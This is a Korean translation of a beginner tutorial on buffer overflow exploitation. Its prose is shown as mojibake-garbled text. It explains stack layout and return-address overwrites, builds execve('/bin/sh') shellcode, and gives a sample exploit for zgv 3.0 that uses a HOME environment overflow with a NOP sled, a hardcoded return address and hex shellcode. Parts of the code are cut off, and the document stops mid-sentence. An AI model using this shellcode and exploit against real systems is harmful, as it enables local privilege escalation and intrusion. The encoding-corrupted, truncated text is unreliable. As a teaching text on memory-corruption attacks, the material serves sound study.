----------------------------------------------------------------------- Á¦¸ñ: ¹öÆÛ ¿À¹öÇ÷οì ÀͽºÇ÷ÎÀÕ ÀÛ¼º ¹æ¹ý - Ãʺ¸ÀÚµéÀ» À§ÇÑ Æ©Å丮¾ó ÀúÀÚ: Mixter (http://members.tripod.com/mixtersecurity) ¹ø¿ª: vangelis(http://www.wowhacker.org) /* ¹ø¿ª»óÀÇ ¹®Á¦(¿ÀŸ, ¿À¿ª µî..)°¡ ÀÖ´Ù¸é ¾÷±×·¹À̵å Çؼ­ º¸³»ÁÖ½Ã¸é °í¸¿°Ú³×¿ä.^^; */ 1. ¸Þ¸ð¸® ÁÖÀÇ: ¿©±â¼­ ³»°¡ ±â¼úÇÏ´Â ¹æ½Ä, ¾î¶² ÇÁ·Î¼¼½º¿¡ ´ëÇÑ ¸Þ¸ð¸®´Â ´ëºÎºÐÀÇ ÄÄÇ»ÅÍ¿¡ Á¶Á÷È­µÇ¾î ÀÖÁö¸¸ ÇÁ·Î¼¼½º ¾ÆÅ°ÅØóÀÇ ÇüÅ¿¡ ÀÇÁ¸ÇÑ´Ù. ÀÌ°ÍÀÇ ¿¹°¡ x86, sparcÀÌ´Ù. ¹öÆÛ ¿À¹öÇ÷ο츦 ÀͽºÇ÷ÎÀÕÇÏ´Â ¿ø¸®´Â ÀÓÀÇÀÇ ÀԷ°ª¿¡ ÀÇÇØ µ¤¾î¾²¿©Áö´Â °ÍÀ¸·Î °¡Á¤µÇÁö ¾Ê´Â ¸Þ¸ð¸® ºÎºÐÀ» µ¤¾î¾²°í, ±× ÇÁ·Î¼¼½º°¡ ÀÌ Äڵ带 ½ÇÇàÇϵµ·Ï ¸¸µå´Â °ÍÀÌ´Ù. ¾î¶»°Ô ±×¸®°í ¾îµð¼­ ¿À¹öÇ÷ο찡 ¹ß»ýÇÏ´ÂÁö ¾Ë¾Æº¸±â À§ÇØ ¾î¶»°Ô ¸Þ¸ð¸®°¡ ±¸¼ºµÇ´ÂÁö ¾Ë¾Æº¸¾Æ¾ß ÇÑ´Ù. ÇÑ ÆäÀÌÁö´Â ±×°Í ÀÚüÀÇ °ü·Ã ¾îµå·¹¾ÅÀ» »ç¿ëÇÏ´Â ¸Þ¸ð¸®ÀÇ ÀϺÎÀ̸ç, ÀÌ°ÍÀº Ä¿³ÎÀÌ ±× ÇÁ·Î¼¼½ºÀÇ Ãʱ⠸޸𸮸¦ ÇÒ´çÇÑ´Ù´Â °ÍÀ» ÀǹÌÇϸç, ±×°ÍÀº ¾îµð¿¡ ¸Þ¸ð¸®°¡ ¹°¸®ÀûÀ¸·Î RAM¿¡ À§Ä¡ÇÏ°í ÀÖ´ÂÁö ¾ËÁö ¸øÇÏ°íµµ Á¢±ÙÇÒ ¼ö ÀÖ´Ù. ÇÁ·Î¼¼½ºÀÇ ¸Þ¸ð¸®´Â ¼¼ ºÎºÐÀ¸·Î ±¸¼ºµÇ¾î ÀÖ´Ù. - ÄÚµå ¼¼±×¸ÕÆ®: ÀÌ ¼¼±×¸ÕÆ®ÀÇ µ¥ÀÌÅÍ´Â ÇÁ·Î¼¼½º(processor)°¡ ½ÇÇàÇÏ´Â ¾î¼Àºí·¯ ÁöħÀÌ´Ù. ±× ÄÚµå ½ÇÇàÀº ºñ ¼±ÇüÀûÀ̸ç(non-linear), Äڵ带 ¶Ù¾î³ÑÀ» ¼ö ÀÖ°í, ¾î¶² »óÅ¿¡¼­´Â ÇÔ¼ö¸¦ È£ÃâÇÒ ¼ö ÀÖ´Ù. ±×·¯¹Ç·Î ¿ì¸®´Â EIP¶ó°í ºÒ¸®´Â Æ÷ÀÎÅ͸¦ °¡Áø´Ù. EIP°¡ Áö½ÃÇÏ´Â ÁÖ¼Ò´Â Ç×»ó ´ÙÀ½¿¡ ½ÇÇàµÉ Äڵ带 Æ÷ÇÔÇÏ°í ÀÖ´Ù. - µ¥ÀÌÅÍ ¼¼±×¸ÕÆ®: º¯¼ö¿Í ¿ªµ¿Àû ¹öÆÛÀÇ °ø°£ - ½ºÅà ¼¼±×¸ÕÆ®: ÀÌ°ÍÀº ÇÔ¼ö¿¡ µ¥ÀÌÅ͸¦ Àü´ÞÇÏ°í, ÇÔ¼öÀÇ º¯¼öµéÀ» À§ÇÑ °ø°£À¸·Î »ç¿ëµÈ´Ù. ½ºÅÃÀÇ ¹Ù´Ú(½ÃÀÛ)Àº º¸Åë ÇÑ ÆäÀÌÁöÀÇ °¡»ó ¸Þ¸ð¸®ÀÇ ¹Ù·Î ³¡¿¡ ÀÖÀ¸¸ç, ¾Æ·¡·Î Ä¿°£´Ù. ¾î¼Àºí·¯ ¸í·É¾î PUSHLÀº ½ºÅÃÀÇ Á¦ÀÏ À§¿¡ ´õÇØÁö°í, POPLÀº ½ºÅÃÀÇ Á¦ÀÏ À§¿¡¼­ ÇϳªÀÇ ¾ÆÀÌÅÛÀ» Á¦°ÅÇÏ°í, ±×°ÍÀ» ·¹Áö½ºÆ®¿¡ ³õ´Â´Ù. ½ºÅà ¸Þ¸ð¸®¿¡ Á÷Á¢ÀûÀ¸·Î Á¢±ÙÇϱâ À§ÇØ ±× ½ºÅÃÀÇ ²À´ë±â(°¡Àå ³·Àº ¸Þ¸ð¸® ÁÖ¼Ò)¸¦ °¡¸®Å°´Â ½ºÅà Æ÷ÀÎÅÍ ESP°¡ ÀÖ´Ù. _______________________________________________________________________________ 2. ÇÔ¼öµé ÇÔ¼ö´Â ÄÚµå ¼¼±×¸ÕÆ®¿¡ ÀÖ´Â ÄÚµåÀÇ ÇÑ ºÎºÐÀ̸ç, ±×°ÍÀÌ È£ÃâµÇ¸é ÀÓ¹«¸¦ ¼öÇàÇÏ°í, ±×·± ´ÙÀ½ ÀÌÀü ½ÇÇà ¾²·¹µå·Î µÇµ¹¾Æ°£´Ù. ¼±ÅÃÀûÀ¸·Î µ¶¸³º¯¼öµéÀº ÇϳªÀÇ ÇÔ¼ö¿¡ Àü´ÞµÉ ¼ö ÀÖ´Ù. ¾î¼Àºí·¯¿¡¼­ ±×°ÍÀÇ ¸ð½ÀÀº ´ÙÀ½°ú °°´Ù. memory address code 0x8054321 pushl $0x0 0x8054322 call $0x80543a0 0x8054327 ret 0x8054328 leave ... 0x80543a0 popl %eax 0x80543a1 addl $0x1337,%eax 0x80543a4 ret ¿©±â¼­ ¹«¾ùÀÌ ÀϾ´Â°¡? ¸ÞÀÎ ÇÔ¼ö´Â function(0)¸¦ È£ÃâÇÑ´Ù. º¯¼ö´Â 0À̸ç, ¸ÞÀÎÀº ±×°ÍÀ» ½ºÅà À§·Î ¹Ð¾î³Ö°í, ±× ÇÔ¼ö¸¦ È£ÃâÇÑ´Ù. ±× ÇÔ¼ö´Â poplÀ» »ç¿ëÇÏ¿© ½ºÅÃÀ¸·ÎºÎÅÍ º¯¼ö¸¦ °¡Áø´Ù. ³¡³­ ÈÄ¿¡ ±×°ÍÀº 0x8054327·Î µÇµ¹¾Æ°£´Ù. º¸Åë ¸ÞÀÎ ÇÔ¼ö´Â Ç×»ó ½ºÅÿ¡ ·¹Áö½ºÆ® EBP¸¦ ¹Ð¾î³Ö°í, ±×°ÍÀ» ±× ÇÔ¼ö°¡ ÀúÀåÇÏ°í, ³¡³­ ÈÄ ´Ù½Ã ÀúÀåÇÑ´Ù. ÀÌ°ÍÀº ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ °³³äÀ̸ç, ±×°ÍÀº ÇÔ¼ö°¡ ¾îµå·¹½ÌÀ» À§ÇØ ±×°Í ÀÚüÀÇ offset¸¦ »ç¿ëÇϵµ·Ï Çã¿ëÇÑ´Ù. ½ºÅÃÀÇ ²À´ë±â¿¡ ¿ì¸®´Â ³»ºÎ ¹öÆÛ¿Í ÇÔ¼öÀÇ º¯¼ö¸¦ °¡Áö°í ÀÖ´Ù. ÀÌ°Í ´ÙÀ½¿¡ ÀúÀåµÈ EBP ·¹Áö½ºÅÍ(4¹ÙÀÌÆ®)°¡ ÀÖ°í, ±×°Í ´ÙÀ½¿¡ ¸®ÅÏ ¾îµå·¹½º(4¹ÙÀÌÆ®)°¡ ÀÖ´Ù. ´õ ¾Æ·¡¿¡´Â ÇÔ¼ö¸¦ Áö³ª´Â µ¶¸³º¯¼ö°¡ ÀÖ´Ù. ÀÌ ¿¹ÀÇ °æ¿ì¿£ ¸®ÅÏ ¾îµå·¹½º´Â 0x8054327ÀÌ´Ù. ÀÌ°ÍÀº ÇÔ¼ö°¡ È£ÃâµÉ ¶§ ½ºÅÿ¡ ÀÚµ¿ÀûÀ¸·Î ÀúÀåµÈ´Ù. ÀÌ ¸®ÅÏ ¾îµå·¹½º°¡ µ¤¾î¾²¿©Áú ¼ö ÀÖÀ¸¸ç, ¸¸¾à ±× ÄÚµå ¾îµð¿¡ ¿À¹öÇ÷ο찡 ÀÖ´Ù¸é ¸Þ¸ð¸®ÀÇ ¾î¶² ºÎºÐÀ» °¡¸®Å°µµ·Ï º¯°æµÉ ¼ö ÀÖ´Ù. _______________________________________________________________________________ 3. ÀͽºÇ÷ÎÀÕ °¡´ÉÇÑ ÇÁ·Î±×·¥ÀÇ ¿¹ ¿ì¸®°¡ ÀͽºÇ÷ÎÀÕÇÏ·Á°í ÇÏ´Â ÇÔ¼ö°¡ ´ÙÀ½°ú °°´Ù°í °¡Á¤ÇÏÀÚ. void lame (void) { char small[30]; gets (small); printf("%s\n", small); } main() { lame (); return 0; } ÀÌ°ÍÀ» ÄÄÆÄÀÏÇÏ°í µð½º¾î¼Àºí¸µÇÑ´Ù. # cc -ggdb blah.c -o blah /tmp/cca017401.o: In function `lame': /root/blah.c:1: the `gets' function is dangerous and should not be used. # gdb blah (gdb) disas main Dump of assembler code for function main: 0x80484c8
: pushl %ebp 0x80484c9 : movl %esp,%ebp 0x80484cb : call 0x80484a0 0x80484d0 : leave 0x80484d1 : ret (gdb) disas lame Dump of assembler code for function lame: /* ret ¾îµå·¹½º ¹Ù·Î ¾ÕÀÇ ½ºÅà À§¿¡ ÇÁ·¹ÀÓ Æ÷ÀÎÅ͸¦ ÀúÀå */ 0x80484a0 : pushl %ebp 0x80484a1 : movl %esp,%ebp /* ±× ½ºÅÃÀ» 0x20 ¶Ç´Â 32·Î È®´ë. ¿ì¸®ÀÇ ¹öÆÛ´Â 30°³ÀÇ ¹®ÀÚÀÌÁö¸¸ ¸Þ¸ð¸®´Â 4¹ÙÀÌÆ®°¡ ÇÒ´çµÇ¾ú°í(ÇÁ·Î¼¼½º°¡ 32ºñÆ® ´Ü¾î¸¦ »ç¿ëÇϱ⠶§¹®¿¡), ÀÌ°ÍÀº char small[30];¿Í µ¿µîÇÔ */ 0x80484a3 : subl $0x20,%esp /* small[30](½ºÅà »óÀÇ °ø°£À¸·Î, °¡Àå ÁÖ¼Ò 0xffffffe0(%ebp)¿¡ À§Ä¡)¿¡ Æ÷ÀÎÅ͸¦ ·ÎµùÇÏ°í, gets ÇÔ¼ö gets(small);¸¦ È£Ãâ */ 0x80484a6 : leal 0xffffffe0(%ebp),%eax 0x80484a9 : pushl %eax 0x80484aa : call 0x80483ec 0x80484af : addl $0x4,%esp /* ½ºÅà »óÀÇ "%s\n" ½ºÆ®¸µ ÁÖ¼Ò¸¦ ·ÎµùÇÏ°í, print ÇÔ¼ö printf("%s\n", small);¸¦ È£Ãâ */ 0x80484b2 : leal 0xffffffe0(%ebp),%eax 0x80484b5 : pushl %eax 0x80484b6 : pushl $0x804852c 0x80484bb : call 0x80483dc 0x80484c0 : addl $0x8,%esp /* ½ºÅÃÀ¸·ÎºÎÅÍ ¸®ÅÏ ¾îµå·¹½º 0x80484d0¸¦ °¡Áö°í, ±× ÁÖ¼Ò¸¦ ¸®ÅÏÇÔ */ 0x80484c3 : leave 0x80484c4 : ret End of assembler dump. 3a. ÇÁ·Î±×·¥ ¿À¹öÇ÷ÎÀ× Çϱâ # ./blah xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # ./blah xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Segmentation fault (core dumped) # gdb blah core (gdb) info registers eax: 0x24 36 ecx: 0x804852f 134513967 edx: 0x1 1 ebx: 0x11a3c8 1156040 esp: 0xbffffdb8 -1073742408 ebp: 0x787878 7895160 ^^^^^^ EBP´Â 0x787878À̸ç, ÀÌ°ÍÀº input ¹öÆÛ°¡ ÅëÁ¦ÇÒ ¼ö ÀÖ´Â °Íº¸´Ù ´õ ¸¹Àº µ¥ÀÌÅ͸¦ ½ºÅÿ¡ ½è´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. 0x78Àº 'x'ÀÇ 6Áø¹ý½Ä Ç¥ÇöÀÌ´Ù. ±× ÇÁ·Î¼¼½º´Â 32¹ÙÀÌÆ®ÀÇ ÃÖ´ë Å©±â¸¦ °¡Áö°í ÀÖ´Ù. ¿ì¸®´Â »ç¿ëÀÚ ÀԷ¿¡ ÇÒ´çµÈ °Íº¸´Ù ´õ ¸¹Àº µ¥ÀÌÅ͸¦ ¸Þ¸ð¸®¿¡ ½èÀ¸¸ç, ±×·¡¼­ 'xxxx'·Î EBP¿Í ¸®ÅÏ ¾îµå·¹½º¸¦ µ¤¾î½è´Ù. ±×¸®°í ±× ÇÁ·Î¼¼½º´Â 0x787878¿¡¼­ ´Ù½Ã ½ÇÇàÇÏ·Á°í ½ÃµµÇßÀ¸¸ç, ÀÌ°ÍÀº ±×°ÍÀÌ segmentation fault°¡ ³ªµµ·Ï ¾ß±âÇß´Ù. 3b. ¸®ÅÏ ¾îµå·¹½º ¹Ù²Ù±â ¸®ÅÏ ´ë½Å lame()¿¡ ¸®ÅÏÇϵµ·Ï ±× ÇÁ·Î±×·¥À» ÀͽºÇ÷ÎÀÕÇغ¸ÀÚ. ¿ì¸®´Â ¸®ÅÏ ¾îµå·¹½º¸¦ 0x80484d0¿¡¼­ 0x80484cb·Î ¹Ù²Ù¾î¾ß Çϸç, ±×°ÍÀÌ ÀüºÎ´Ù. ¸Þ¸ð¸®¿¡ ¿ì¸®´Â 31¹ÙÀÌÆ®ÀÇ ¹öÆÛ °ø°£ | 4¹ÙÀÌÆ®°¡ ÀúÀåµÈ EBP | 4¹ÙÀÌÆ®ÀÇ RETÀ» °¡Áö°í ÀÖ´Ù. ´ÙÀ½Àº 4¹ÙÀÌÆ®ÀÇ ¸®ÅÏ ¾îµå·¹½º¸¦ 1¹ÙÀÌÆ®ÀÇ ¹®ÀÚ ¹öÆÛ¿¡ ÀÔ·ÂÇϱâ À§ÇÑ °£´ÜÇÑ ÇÁ·Î±×·¥ÀÌ´Ù. main() { int i=0; char buf[44]; for (i=0;i<=40;i+=4) *(long *) &buf[i] = 0x80484cb; puts(buf); } # ret ËËËËËËËËËË? # (ret;cat)|./blah test <- user input ËËËËËËËËËË?test test <- user input test ÀÌ ÇÁ·Î±×·¥Àº µÎ¹øÀ̳ª ÇÔ¼ö¸¦ °ÅÃÄ °¬´Ù. ¸¸¾à ¿À¹öÇ÷ο찡 Á¸ÀçÇÑ´Ù¸é ÇÔ¼öµéÀÇ ¸®ÅÏ ¾îµå·¹½º´Â ÇÁ·Î±×·¥ÀÇ ½ÇÇà ¾²·¹µå¸¦ º¯°æÇϱâ À§ÇØ ¹Ù²ãÁú ¼ö ÀÖ´Ù. _______________________________________________________________________________ 4. ½©ÄÚµå °£´ÜÈ÷ ¸»Çؼ­ ½©ÄÚµå´Â ´Ü¼øÈ÷ ¾î¼Àºí·¯ ¸í·É¾îÀ̸ç, ±×°ÍÀ» ¿ì¸®´Â ½ºÅà À§¿¡ ¾µ ¼ö ÀÖÀ¸¸ç, ±×·±´ÙÀ½ ½ºÅÿ¡ ¸®Åϵǵµ·Ï ¸®ÅÏ ¾îµå·¹½º¸¦ ¹Ù²Ü ¼ö ÀÖ´Ù. ÀÌ ¹æ¹ýÀ» »ç¿ëÇØ ¿ì¸®´Â Äڵ带 Ãë¾àÇÑ ÇÁ·Î¼¼½º¿¡ »ðÀÔÇÒ ¼ö ÀÖÀ¸¸ç, ±×·± ´ÙÀ½ ½ºÅà ¹Ù·Î À§¿¡ ±×°ÍÀ» ½ÇÇàÇÒ ¼ö ÀÖ´Ù. ±×·¯¹Ç·Î, ½©À» ½ÇÇàÇϱâ À§ÇØ »ðÀÔÇÒ ¼ö ÀÖ´Â ¾î¼Àºí·¯ Äڵ带 »ý¼ºÇغ¸ÀÚ. ÀϹÝÀûÀÎ ½Ã½ºÅÛ È£ÃâÀº execve()À̸ç, ÀÌ°ÍÀº ÇöÀç ÇÁ·Î¼¼½ºÀÇ ½ÇÇàÀ» Á¾·á½ÃÅ°°í ¾î¶² ¹ÙÀ̳ʸ®µµ ·ÎµùÇÏ¿© ½ÇÇàÇÒ ¼ö ÀÖ´Ù. ¸ÇÆäÀÌÁö¸¦ ÅëÇØ ¾Ë ¼ö ÀÖ´Â »ç¿ë¹ýÀº ´ÙÀ½°ú °°´Ù. int execve (const char *filename, char *const argv [], char *const envp[]); glibc2·ÎºÎÅÍ ½Ã½ºÅÛ È£Ãâ¿¡ ´ëÇØ ÀÚ¼¼È÷ ¾Ë¾Æº¸ÀÚ. # gdb /lib/libc.so.6 (gdb) disas execve Dump of assembler code for function execve: 0x5da00 : pushl %ebx /* ÀÌ°ÍÀº ½ÇÁ¦ syscallÀÌ´Ù. ¾î¶² ÇÁ·Î±×·¥ÀÌ execve¸¦ È£ÃâÇϱâ Àü¿¡ ±×°ÍÀº ½ºÅÿ¡ ¿ª¼øÀ¸·Î µ¶¸³º¯¼ö(**envp, **argv, *filename)¸¦ ¹Ð¾î³Ö´Â´Ù. */ /* edx ·¹Áö½ºÆ® ¾ÈÀ¸·Î **envp ÁÖ¼Ò¸¦ ÀÔ·Â */ 0x5da01 : movl 0x10(%esp,1),%edx /* ecx ·¹Áö½ºÆ® ¾ÈÀ¸·Î **argv ÁÖ¼Ò¸¦ ÀÔ·Â */ 0x5da05 : movl 0xc(%esp,1),%ecx /* ebx ·¹Áö½ºÆ® ¾ÈÀ¸·Î *filename ÁÖ¼Ò¸¦ ÀÔ·Â */ 0x5da09 : movl 0x8(%esp,1),%ebx /* eax ·¹Áö½ºÆ®¿¡ 0xb ÀÔ·Â; ³»ºÎ ½Ã½ºÅÛ È£Ãâ Å×ÀÌºí¿¡¼­ 0xb == execve */ 0x5da0d : movl $0xb,%eax /* execve ¸í·ÉÀ» ½ÇÇàÇϱâ À§ÇØ Ä¿³Î¿¡ ÅëÁ¦±ÇÀ» ÁÜ */ 0x5da12 : int $0x80 0x5da14 : popl %ebx 0x5da15 : cmpl $0xfffff001,%eax 0x5da1a : jae 0x5da1d <__syscall_error> 0x5da1c : ret End of assembler dump. 4a. Æ÷ÆÃÇÒ ¼ö ÀÖ´Â ÄÚµå ¸¸µé±â ¿ì¸®´Â ¸Þ¸ð¸®¿¡ ÀÖ´Â µ¶¸³º¯¼ö¸¦ Âü°íÇÏÁö ¾Ê°í ½©Äڵ带 ¸¸µé±â À§ÇØ Æ®¸¯À» »ç¿ëÇØ¾ß Çϴµ¥, ÀÌ°ÍÀº ¸Þ¸ð¸® ÆäÀÌÁö¿¡ Á¤È®ÇÑ ÁÖ¼Ò¸¦ Á¦°øÇÔÀ¸·Î½á ÀÌ·ç¾îÁö°í, ÀÌ°ÍÀº ÄÄÆÄÀÏ ½Ã¿¡¸¸ ÀÌ·ç¾îÁú ¼ö ÀÖ´Ù. ÀÏ¹Ý ¿ì¸®°¡ ½© ÄÚµåÀÇ Å©±â¸¦ ¾Ë¾Æ³¾ ¼ö ÀÖ´Ù¸é ¿ì¸®´Â ½ÇÇà ¾²·¹µå¿¡ ƯÁ¤ÇÑ ¼öÀÇ ¹ÙÀÌÆ®¸¦ ¾ÕµÚ·Î º¸³»±â À§ÇØ jmp <¹ÙÀÌÆ®>¿Í call <¹ÙÀÌÆ®> ¸í·ÉÀ» »ç¿ëÇÒ ¼ö ÀÖ´Ù. ¿Ö callÀ» »ç¿ëÇϴ°¡? ¿ì¸®´Â callÀÌ ½ºÅà »ó¿¡ ¸®ÅÏ ¾îµå·¹½º¸¦ ÀÚµ¿ÀûÀ¸·Î ÀúÀåÇÒ ±âȸ¸¦ °¡Áö°í, ±× ¸®ÅÏ ¾îµå·¹½º´Â call ¸í·É ÈÄ¿¡ ´ÙÀ½ 4¹ÙÀÌÆ®°¡ µÈ´Ù. º¯¼ö¸¦ call ¹Ù·Î µÚ¿¡ À§Ä¡½ÃÅ´À¸·Î½á ¿ì¸®´Â °£Á¢ÀûÀ¸·Î ±×°ÍÀÇ ÁÖ¼Ò¸¦ ¾ËÁö ¸øÇصµ ½ºÅà »ó¿¡ ¹Ð¾î³ÖÀ» ¼ö ÀÖ´Ù. 0 jmp (Z ¹ÙÀÌÆ®¸¦ ¾ÕÂÊÀ¸·Î ½ºµh) 2 popl %esi ... put function(s) here ... Z call <-Z+2> (Z ¹ÙÀÌÆ®º¸´Ù 2 ¹ÙÀÌÆ® Àû°Ô µÚÂÊÀ¸·Î POPL¿¡ ½ºµh) Z+5 .string (ù¹ø° º¯¼ö) 4b. ½© ÄÚµå global code_start /* ³ªÁß¿¡ ÀÌ°ÍÀÌ ÇÊ¿äÇϸç, ½Å°æ¾²Áö ¸»°Í */ global code_end .data code_start: jmp 0x17 popl %esi movl %esi,0x8(%esi) /* ½© ÄÚµå µÚ·Î **argv ÁÖ¼Ò ÀÔ·Â, ±×°Í µÚ¿¡ 0x8 ¹ÙÀÌÆ®, ±×·¡¼­ /bin/sh°¡ À§Ä¡ */ xorl %eax,%eax /* %eax¿¡ 0 ÀÔ·Â */ movb %eax,0x7(%esi) /* /bin/sh ½ºÆ®¸µ ´ÙÀ½¿¡ Á¾·áÇÏ´Â 0 ÀÔ·Â */ movl %eax,0xc(%esi) /* ±ä ´Ü¾îÀÇ Å©±â¸¦ ¾Ë±â À§ÇÑ ´Ù¸¥ 0 */ my_execve: movb $0xb,%al /* execve( */ movl %esi,%ebx /* "/bin/sh", */ leal 0x8(%esi),%ecx /* & of "/bin/sh", */ xorl %edx,%edx /* NULL */ int $0x80 /* ); */ call -0x1c .string "/bin/shX" /* X ´Â movb %eax,0x7(%esi)¿¡ ÀÇÇØ µ¤¾î¾²ÀÓ */ code_end: (»ó´ëÀûÀÎ offset´Â 0x17¿Í -0x1c´Â 0x0¿¡ ÀÔ·ÂÇÏ°í, ÄÄÆÄÀÏ, µð½º¾î¼Àºí¸µÇÏ°í, ±×·± ´ÙÀ½ ±× ½© ÄÚµåÀÇ Å©±â¸¦ º¸°í ¾òÀ» ¼ö ÀÖ´Ù.) ºñ·Ï ¾ÆÁÖ ÃÖ¼ÒÇÑÀÌÁö¸¸ ÀÌ°ÍÀº ÀÌ¹Ì ÀÛµ¿ÇÏ´Â ½©ÄÚµåÀÌ´Ù. ´ç½ÅÀº Àû¾îµµ exit() syscallÀ» µð½º¾î¼Àºí¸µÇÏ°í 'call' Àü¿¡ ±×°ÍÀ» attachÇØ¾ß ÇÑ´Ù. ½©Äڵ带 ¸¸µå´Â ½ÇÁ¦ ±â¼úÀº ¶ÇÇÑ Äڵ忡 ¾î¶² ¹ÙÀ̳ʸ® Á¦·Î¸¦ ÇÇÇÏ´Â ÇÇÇÏ´Â °ÍÀ¸·Î ±¸¼ºµÈ´Ù. ÀÌ Äڵ带 Å×½ºÆ®Çغ¸ÀÚ. /* code.c */ extern void code_start(); extern void code_end(); #include main() { ((void (*)(void)) code_start)(); } # cc -o code code.S code.c # ./code bash# Áö±ÝÀº ½©Äڵ带 hex char buffer·Î ÀüȯÇÒ ¼ö ÀÖÀ¸¸ç, °¡Àå ÁÁÀº ¹æ¹ýÀº ´ÙÀ½°ú °°ÀÌ ÇÏ´Â °ÍÀÌ´Ù. #include extern void code_start(); extern void code_end(); main() { fprintf(stderr,"%s",code_start); } ±×¸®°í aconv -h ¶Ç´Â bin2c.plÀ» ÅëÇØ ºÐ¼®ÇÏ´Â °ÍÀ̸ç, ÀÌ ÅøµéÀº ´ÙÀ½¿¡¼­ ±¸ÇÒ ¼ö ÀÖ´Ù. http://www.dec.net/~dhg or http://members.tripod.com/mixtersecurity _______________________________________________________________________________ 5. ÀͽºÇ÷ÎÀÕ ¾²±â ½ºÅÃ»ó¿¡ ÀÔ·ÂµÈ ½©Äڵ带 °¡¸®Å°±â À§ÇØ ¾î¶»°Ô ¸®ÅÏ ¾îµå·¹½º¸¦ ¹Ù²Ù´ÂÁö¿Í »ùÇÿë ÀͽºÇ÷ÎÀÕÀ» ÀÛ¼ºÇÏ´ÂÁö ¾Ë¾Æº¸ÀÚ. °¡Àå ½¬¿î ¹æ¹ýÀ̶ó°í »ý°¢µÇ´Â zgv¸¦ ¿ì¸®´Â »ç¿ëÇÒ °ÍÀÌ´Ù. # export HOME=`perl -e 'printf "a" x 2000'` # zgv Segmentation fault (core dumped) # gdb /usr/bin/zgv core #0 0x61616161 in ?? () (gdb) info register esp esp: 0xbffff574 -1073744524 ÀÌ°ÍÀº Å©·¡½¬ ¶§ ½ºÅÃÀÇ ²À´ë±â¿¡ ÀÖ´Ù. ¿ì¸®°¡ ÀÌ°ÍÀ» ¿ì¸®ÀÇ ½©Äڵ忡 ¸®ÅÏ ¾îµå·¹½º·Î »ç¿ëÇÒ ¼ö ÀÖ´Ù°í ÃßÁ¤ÇÏ´Â °ÍÀÌ ´õ ¾ÈÀüÇÒ °ÍÀÌ´Ù. ¿ì¸®´Â Áö±Ý ¿ì¸®ÀÇ ¹öÆÛ ¾Õ¿¡ NOP(no operation) ¸í·ÉÀ» Ãß°¡ÇÒ °ÍÀÌ´Ù. ±×·¡¼­ ¸Þ¸ð¸®¿¡ ¿ì¸®ÀÇ ½©ÄÚµåÀÇ Á¤È®ÇÑ ½ÃÀÛÀ» ¿¹»óÇÏ´Â °Í¿¡ ´ëÇØ 100% Á¤È®ÇÒ ÇÊ¿ä´Â ¾ø´Ù. ÇÔ¼ö´Â ¿ì¸®ÀÇ ½©ÄÚµå ¾ÕÀÇ ¾î´À °÷¿¡ ÀÖ´Â ½ºÅà À§·Î ¸®ÅÏÇÒ °ÍÀÌ°í, NOPÀ» ÅëÇØ Ãʱâ JMP ¸í·ÉÀ¸·Î ÀÛµ¿ÇÏ°í, CALL·Î Á¡ÇÁÇÏ°í, popl·Î ´Ù½Ã Á¡ÇÁÇÏ°í, ½ºÅà »ó¿¡ ¿ì¸®ÀÇ Äڵ带 ½ÇÇàÇÒ °ÍÀÌ´Ù. ½ºÅÃÀÇ ¸ð¾çÀ» ´Ù½Ã ±â¾ïÇÏÀÚ. °¡Àå ³·Àº °÷¿¡ ¸Þ¸ð¸® ÁÖ¼Ò, ½ºÅÃÀÇ ²À´ë±â¿¡ ESP°¡ °¡¸®Å°°í, Ãʱ⠺¯¼ö´Â ÀúÀåµÇ°í, Áï HOME ȯ°æº¯¼ö¸¦ ÀúÀåÇÏ´Â zgv¿¡ ¹öÆÛ°¡. ±× ´ÙÀ½À¸·Î ¿ì¸®´Â ÀúÀåµÈ EBP(4¹ÙÀÌÆ®)¿Í ÀÌÀü ÇÔ¼öÀÇ ¸®ÅÏ ¾îµå·¹½º¸¦ °¡Áø´Ù. ¿ì¸®´Â ½ºÅûóÀÇ »õ·Î¿î ÁÖ¼Ò·Î ¸®ÅÏ ¾îµå·¹½º¸¦ µ¤¾î¾²±â À§ÇØ ±× ¹öÆÛ µÚ¿¡ 8¹ÙÀÌÆ® ¶Ç´Â ±× ÀÌ»óÀ» ½á¾ß ÇÑ´Ù. zgv¿¡ ÀÖ´Â ¹öÆÛ´Â 1024 ¹ÙÀÌÆ®ÀÇ Å©±âÀÌ´Ù. ´ç½ÅÀº ÀÌ°ÍÀ» ´ÙÀ½ Äڵ带 º¸°Å³ª ¶Ç´Â Ãë¾àÇÔ ÇÔ¼ö¿¡ ÀÖ´Â Ãʱâ subl $0x400,%esp (=1024)¸¦ ã¾Æº½À¸·Î½á ¾Ë ¼ö ÀÖ´Ù. ¿ì¸®´Â ÀÌÁ¦ ´ÙÀ½ ÀͽºÇ÷ÎÀÕ¿¡ ±× ¸ðµç ºÎºÐµéÀ» Á¶ÇÕÇÒ °ÍÀÌ´Ù. 5a. »ùÇà zgv exploit /* zgv v3.0 exploit by Mixter buffer overflow tutorial - http://1337.tsx.org sample exploit, works for example with precompiled redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */ #include #include #include /* This is the minimal shellcode from the tutorial */ static char shellcode[]= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58"; #define NOP 0x90 #define LEN 1032 #define RET 0xbffff574 int main() { char buffer[LEN]; long retaddr = RET; int i; fprintf(stderr,"using address 0x%lx\n",retaddr); /* ÀÌ°ÍÀº ¸®ÅÏ ¾îµå·¹½º·Î Àüü ¹öÆÛ¸¦ ä¿î´Ù. 3b Âü°í) */ for (i=0;i function() -> strcpy(smallbuffer,getenv("HOME")); ÀÌ ÁöÁ¡¿¡¼­ zgv´Â ¹Ù¿îµå üŷ¿¡ ½ÇÆÐÇÏ°í, smallbuffer µÚ¿¡ ¾²°í, ¸ÞÀο¡ ´ëÇÑ ¸®ÅÏ ¾îµå·¹½º´Â ½ºÅà »óÀÇ ¸®ÅÏ ¾îµå·¹½º·Î µ¤¾î¾²ÀÌ°Ô µÈ´Ù. function()Àº /retÀ» ¶°³ª°í, EIP Æ÷ÀÎÅÍ´Â ½ºÅà À§¸¦ 